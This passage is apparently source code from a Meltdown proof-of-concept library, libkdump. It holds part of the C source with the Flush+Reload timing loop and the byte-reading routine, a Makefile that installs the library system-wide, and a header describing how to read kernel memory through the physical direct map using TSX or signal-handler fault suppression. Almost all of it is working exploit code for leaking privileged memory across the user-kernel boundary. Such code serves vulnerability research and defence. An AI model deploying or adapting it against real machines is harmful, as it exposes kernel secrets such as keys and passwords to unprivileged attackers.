  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
    if (!setjmp(buf)) {
      MELTDOWN;
    }

    int i;
    for (i = 0; i < 256; i++) {
      if (flush_reload(mem + i * 4096)) {
        if (i >= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
  return 0;
}

// ---------------------------------------------------------------------------
int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
  phys = addr;

  char res_stat[256];
  int i, j, r;
  for (i = 0; i < 256; i++)
    res_stat[i] = 0;

  sched_yield();

  for (i = 0; i < config.measurements; i++) {
    if (config.fault_handling == TSX) {
      r = libkdump_read_tsx();
    } else {
      r = libkdump_read_signal_handler();
    }
    res_stat[r]++;
  }
  int max_v = 0, max_i = 0;

  if (dbg) {
    for (i = 0; i < sizeof(res_stat); i++) {
      if (res_stat[i] == 0)
        continue;
      debug(INFO, "res_stat[%x] = %d\n",
            i, res_stat[i]);
    }
  }

  for (i = 1; i < 256; i++) {
    if (res_stat[i] > max_v && res_stat[i] >= config.accept_after) {
      max_v = res_stat[i];
      max_i = i;
    }
  }
  return max_i;
}


text:
override CFLAGS += -O3 -pthread -Wno-attributes
CC=gcc

all: libkdump.a libkdump.so

libkdump.o: libkdump.c
	$(CC) -c -m64 -fPIC libkdump.c -o libkdump.o $(CFLAGS)

libkdump.so: libkdump.o
	$(CC) -shared -m64 -Wl,-soname,libkdump.so -o libkdump.so libkdump.o $(CFLAGS)

libkdump.a: libkdump.o
	ar rcs libkdump.a libkdump.o

install: libkdump.a libkdump.so
	cp libkdump.so /usr/local/lib
	cp libkdump.h /usr/local/include
	ldconfig

uninstall:
	rm /usr/local/lib/libkdump.so
	rm /usr/local/include/libkdump.h
	ldconfig

clean:
	rm -f *.o *.so *.a


text:
#ifndef _LIBKDUMP_H_
#define _LIBKDUMP_H_

#include <stdint.h>
#include <stdio.h>

#if !(defined(__x86_64__) || defined(__i386__))
# error x86-64 and i386 are the only supported architectures
#endif

#ifdef __x86_64__
#define DEFAULT_PHYSICAL_OFFSET 0xffff880000000000ull
#else
#define DEFAULT_PHYSICAL_OFFSET 0xc0000000ull
#endif

/**
 * libkdump exception handling
 */
typedef enum {
    SIGNAL_HANDLER, /**< Install a signal handler to catch SIGSEGV */
    TSX /**< Use Intel TSX to suppress exception */
} libkdump_fault_handling_t;

/**
 * libkdump load thread action
 */
typedef enum {
    NOP, /**< Just run an endless loop */
    IO, /**< Perform I/O operations to trigger interrupts */
    YIELD /**< Continuously switch to the operating system */
} libkdump_load_t;

/**
 * libkdump configuration
 */
typedef struct {
  size_t cache_miss_threshold; /**< Cache miss threshold in cycles for Flush+Reload */
  libkdump_fault_handling_t fault_handling; /**< Type of fault handling (TSX or signal handler) */
  int measurements; /**< Number of measurements to perform for one address */
  int accept_after; /**< How many measurements must be the same to accept the read value */
  int load_threads; /**< Number of threads which are started to increase the chance of reading from inaccessible addresses */
  libkdump_load_t load_type; /**< Function the load threads should execute */
  int retries; /**< Number of Meltdown retries for an address */
  size_t physical_offset; /**< Address of the physical direct map */
} libkdump_config_t;

extern libkdump_config_t libkdump_auto_config;

/**
 * Initializes libkdump
 *
 * @param[in] configuration The configuration for libkdump, or 'libkdump_auto_config' for auto configuration.
 *
 * @return 0 Initialization was successful
 * @return -1 Initialization failed, errno contains the error code
 */
int libkdump_init(const libkdump_config_t configuration);

/**
 * Returns a config to be used with libkdump_init. All parameters are automatically configured to sane defaults.
 *
 * @return A libkdump configuration (libkdump_config_t)
 */
libkdump_config_t libkdump_get_autoconfig();

/**
 * Reads one character from the given (virtual) address using Meltdown
 *
 * @param[in] addr The virtual address to read from
 *
 * @return The read character
 */
int libkdump_read(size_t addr);

/**
 * Cleans up and reverts everything which was changed by libkdump.
 *
 * @return 0 Cleanup was successful
 * @return -1 Cleanup failed, errno contains the error code
 */
int libkdump_cleanup();

/**
 * Retrieves the physical address of a virtual address. Requires root (or read permissions for /proc/self/pagemap).
 *
 * @param[in] addr The virtual address to convert
 *
 * @return The physical address, or 0 if an error occurred (errno contains the error code)
 */
size_t libkdump_virt_to_phys(size_t addr);

/**
 * Converts a physical address to a virtual address using the physical direct map offset.
 *
 * @param[in] addr The physical address to convert
 *
 * @return The virtual address, or -1ULL if an error occured.
 */
size_t libkdump_phys_to_virt(size_t addr);

/**
 * Enables or disables the debug output of libkdump as required.
 *
 * @param[in] enable Enable (1) or disable (0) the debug output of libkdump. Default is disabled.
 */
void libkdump_enable_debug(int enable);

#endif